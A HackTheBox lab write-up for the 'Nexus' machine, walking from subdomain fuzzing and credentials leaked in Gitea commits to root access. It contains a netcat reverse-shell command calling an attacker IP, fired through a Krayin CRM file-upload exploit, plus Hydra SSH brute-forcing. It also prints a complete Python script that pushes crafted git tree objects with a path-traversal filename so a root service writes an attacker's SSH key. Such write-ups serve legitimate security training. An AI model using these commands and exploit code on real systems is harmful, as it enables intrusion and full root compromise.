Skip to content

Nexus Writeup - HackTheBox

Easy Linux

Created June 25, 2026 • Last updated August 17, 2026 • 5 min read

Joshua

HackIndex Creator

Discovery

Port Scan

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP nexus.htb
┌──(kali㉿kali)-[~]
└─$ scan_tcp_full nexus.htb
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Nexus Energy Authority — Powering the Nation's Future

Two ports. HTTP is the entry point.

Web Enumeration and Subdomain Discovery

The main site is a static corporate page for "Nexus Energy Authority." Reviewing the HTML source, a job listing modal exposes two email addresses:

<a href="mailto:careers@nexus.htb">Apply at careers@nexus.htb</a>
<a href="mailto:j.matthew@nexus.htb">j.matthew@nexus.htb</a>

Note j.matthew and careers as candidate usernames. Next, fuzz for virtual hosts:

┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt \
-u http://nexus.htb \
-H "Host: FUZZ.nexus.htb" \
-fs 154
git                     [Status: 200, Size: 14472]
billing                 [Status: 302, Size: 390]

Register both:

┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP git.nexus.htb
┌──(kali㉿kali)-[~]
└─$ addhost $TARGET_IP billing.nexus.htb

git.nexus.htb serves a Gitea instance. billing.nexus.htb redirects to a CRM login page.

Initial Access

Exposed Credentials in Gitea Commit History

git.nexus.htb runs Gitea 1.26.0 (visible via /api/swagger) with require_signin=False, meaning all public repos are browsable without an account.

Using the Explore button in the navigation reveals a repo under the admin account: admin/krayin-docker-setup. Browsing through the commit history, a .env file was committed and later removed. It is still accessible at: http://git.nexus.htb/admin/krayin-docker-setup/commit/9b817fa4e073d12fc43952acb09f3067b2f17adf?files=.env

The commit contains credentials for j.matthew@nexus.htb: $JMATTHEW_PASSWORD. This matches the hiring manager email found on the main site.

CVE-2026-38526: Krayin CRM Authenticated PHP File Upload RCE

billing.nexus.htb runs Krayin CRM, a Laravel application. The login page exposes the Laravel Debugbar, confirming the app is running in debug mode. Use the credentials recovered from the Gitea commit history to authenticate as j.matthew@nexus.htb.

CVE-2026-38526 is an authenticated arbitrary file upload in the TinyMCE media upload endpoint at /admin/tinymce/upload. The endpoint accepts a multipart upload with Content-Type: image/jpeg but performs no server-side validation on the actual file content, allowing a PHP webshell to be stored directly under the web root. The PoC from NathanHimself/CVE-2026-38526-PoC handles the full chain: authenticate, extract CSRF tokens, upload the webshell, then execute via the returned location URL with a ?cmd= parameter.

The exploit corrupts application state after a single execution, so the machine will need a reset if the shell is lost. Verify code execution first:

┌──(kali㉿kali)-[~]
└─$ python3 krayin.py -t http://billing.nexus.htb/ -c whoami -p '$JMATTHEW_PASSWORD' -u 'j.matthew@nexus.htb'
www-data

Set up the listener before the shell call:

┌──(kali㉿kali)-[~]
└─$ rslisten $ATTACKER_PORT tun0
┌──(kali㉿kali)-[~]
└─$ python3 krayin.py -t http://billing.nexus.htb/ \
-c 'busybox nc $ATTACKER_IP $ATTACKER_PORT -e /bin/bash' \
-p '$JMATTHEW_PASSWORD' \
-u 'j.matthew@nexus.htb'

Shell lands as www-data. Stabilize:

www-data@nexus ~/krayin/storage/app/public/tinymce $ python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@nexus ~/krayin/storage/app/public/tinymce $ export TERM=xterm-256color; export SHELL=/bin/bash
www-data@nexus ~/krayin/storage/app/public/tinymce $ stty rows 60 cols 156
www-data@nexus:~/krayin/storage/app/public/tinymce$

Lateral Movement

Credential Harvest and SSH Reuse

From within the www-data shell, the Krayin application .env is readable:

www-data@nexus ~/krayin $ cd ~/krayin
www-data@nexus ~/krayin $ cat .env
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=$KRAYIN_DB_PASSWORD

/etc/passwd shows one non-system interactive user: jones. Compile all recovered credentials and discovered usernames into wordlists and run Hydra against SSH:

┌──(kali㉿kali)-[~]
└─$ hydra -L users.txt -u -e nsr -P passwords.txt ssh://nexus.htb
[22][ssh] host: nexus.htb   login: jones   password: $JONES_PASSWORD

The database password reuses directly as jones's SSH credential. SSH in and continue enumeration as a real user.

Privilege Escalation

Gitea Template Sync: Path Traversal via Crafted Git Tree Objects

LinPEAS flags an unusual custom systemd service:

jones@nexus ~ $ systemctl cat gitea-template-sync
[Unit]
Description=Sync Gitea templates
After=network-online.target

[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

It runs as root. The script itself is not writable:

┌──(kali㉿kali)-[~]
└─$ test -w /etc/gitea/template-sync.py && echo writable || echo not writable
not writable

Reading the script reveals the full logic:

  1. Loads a Gitea API token from /etc/gitea/template-sync.conf

  2. Queries the Gitea API for all repos marked as templates

  3. For each template repo, runs git ls-tree -r HEAD against the bare repo on disk

  4. For every blob entry, runs git cat-file blob <hash> and writes the content to /home/git/template-staging/<owner>/<repo>/<filepath>

The vulnerability is in step 4. The filepath value comes directly from the git tree object and is joined with the staging directory using os.path.join. No path traversal validation is performed. The standard git CLI refuses to commit files with .. in the path, but git objects are just loose zlib-compressed files on disk. You can construct a tree object by hand with an arbitrary filename and push it -- the server stores it verbatim. When the sync service runs as root, os.path.join(stage_path, "../../../../../root/.ssh/authorized_keys") resolves outside the staging directory and the key lands in root's authorized_keys.

Jones's DB password also works on git.nexus.htb:

The exploit script automates the full chain: generate an API token as jones, create a template repo, craft a malicious git tree object with the traversal path pointing to root/.ssh/authorized_keys containing your public key, push it, and wait for the service to fire.

import hashlib
import json
import os
import shutil
import subprocess
import sys
import tempfile
import time
import zlib

import requests
from requests.auth import HTTPBasicAuth

GITEA     = "http://git.nexus.htb"
USER      = "jones"
PASS      = "$JONES_PASSWORD"         # update
REPO_NAME = "template-pwn"

PUBKEY    = "ssh-ed25519 <your_pubkey_here>"    # update with your public key
TRAVERSAL = "../../../../../root/.ssh/authorized_keys"


def api(method, path, token=None, **kwargs):
    headers = kwargs.pop("headers", {})
    if token:
        headers["Authorization"] = f"token {token}"
    headers["Content-Type"] = "application/json"
    r = requests.request(method, f"{GITEA}/api/v1{path}", headers=headers,
                         auth=HTTPBasicAuth(USER, PASS) if not token else None, **kwargs)
    return r


def write_git_object(git_dir, obj_type, data):
    header = f"{obj_type} {len(data)}\x00".encode()
    full   = header + data
    sha    = hashlib.sha1(full).hexdigest()
    obj_path = os.path.join(git_dir, "objects", sha[:2], sha[2:])
    os.makedirs(os.path.dirname(obj_path), exist_ok=True)
    if not os.path.exists(obj_path):
        with open(obj_path, "wb") as f:
            f.write(zlib.compress(full))
    return sha


def make_traversal_repo(workdir):
    subprocess.run(["git", "init", workdir], check=True, capture_output=True)
    subprocess.run(["git", "config", "user.email", "x@x.com"], cwd=workdir,
                   check=True, capture_output=True)
    subprocess.run(["git", "config", "user.name", "x"], cwd=workdir,
                   check=True, capture_output=True)

    git_dir  = os.path.join(workdir, ".git")
    blob_sha = write_git_object(git_dir, "blob", PUBKEY.encode())
    print(f"[+] blob: {blob_sha}")

    # git CLI would reject "../" in filenames — craft the tree object raw
    entry    = b"100600 " + TRAVERSAL.encode() + b"\x00" + bytes.fromhex(blob_sha)
    tree_sha = write_git_object(git_dir, "tree", entry)
    print(f"[+] tree: {tree_sha}")

    ts = int(time.time())
    commit_data = (
        f"tree {tree_sha}\n"
        f"author x <x@x.com> {ts} +0000\n"
        f"committer x <x@x.com> {ts} +0000\n\npwn\n"
    ).encode()
    commit_sha = write_git_object(git_dir, "commit", commit_data)
    print(f"[+] commit: {commit_sha}")

    refs_dir = os.path.join(git_dir, "refs", "heads")
    os.makedirs(refs_dir, exist_ok=True)
    with open(os.path.join(refs_dir, "main"), "w") as f:
        f.write(commit_sha + "\n")
    with open(os.path.join(git_dir, "HEAD"), "w") as f:
        f.write("ref: refs/heads/main\n")

    return commit_sha


def main():
    print("[*] getting api token...")
    r = api("POST", "/users/jones/tokens", json={
        "name": f"privesc-{int(time.time())}",
        "scopes": ["write:repository", "write:user", "read:user"],
    })
    if r.status_code not in (200, 201):
        print(f"[-] token failed: {r.status_code} {r.text}")
        sys.exit(1)
    token = r.json()["sha1"]
    print(f"[+] token: {token[:8]}...")

    api("DELETE", f"/repos/{USER}/{REPO_NAME}", token=token)
    time.sleep(0.5)

    print("[*] creating template repo...")
    r = api("POST", "/user/repos", token=token, json={
        "name": REPO_NAME, "description": "",
        "template": True, "private": False, "auto_init": False,
    })
    if r.status_code not in (200, 201):
        print(f"[-] repo creation failed: {r.status_code} {r.text}")
        sys.exit(1)
    print(f"[+] created {USER}/{REPO_NAME}")

    workdir = tempfile.mkdtemp(prefix="nexus-pwn-")
    try:
        print("[*] building malicious repo...")
        make_traversal_repo(workdir)
        remote = f"http://{USER}:{PASS}@git.nexus.htb/{USER}/{REPO_NAME}.git"
        print("[*] pushing...")
        result = subprocess.run(
            ["git", "push", remote, "main"],
            cwd=workdir, capture_output=True, text=True
        )
        if result.returncode != 0:
            print(f"[-] push failed:\n{result.stderr}")
            sys.exit(1)
        print("[+] pushed.")
    finally:
        shutil.rmtree(workdir, ignore_errors=True)

    print(f"\n[*] waiting for gitea-template-sync to fire...")
    print(f"ssh -i /path/to/private_key root@$DOMAIN")


if __name__ == "__main__":
    main()

Run it:

┌──(kali㉿kali)-[~]
└─$ python3 gitea_privesc.py
[*] getting api token...
[+] token: 2459b0db...
[*] creating template repo...
[+] created jones/template-pwn
[*] building malicious repo...
[+] blob: 8e7ee02cb46ddbae3301ef8238851983c2e7992e
[+] tree: 6c6888e7adc09bda1d4c41aacd54476ea69e64ab
[+] commit: 794e0fe85134682611a62931826621ed67c7161a
[*] pushing...
[+] pushed.

Once the sync service fires, the SSH key is written to /root/.ssh/authorized_keys by root:

┌──(kali㉿kali)-[~]
└─$ ssh -i /path/to/private_key root@$DOMAIN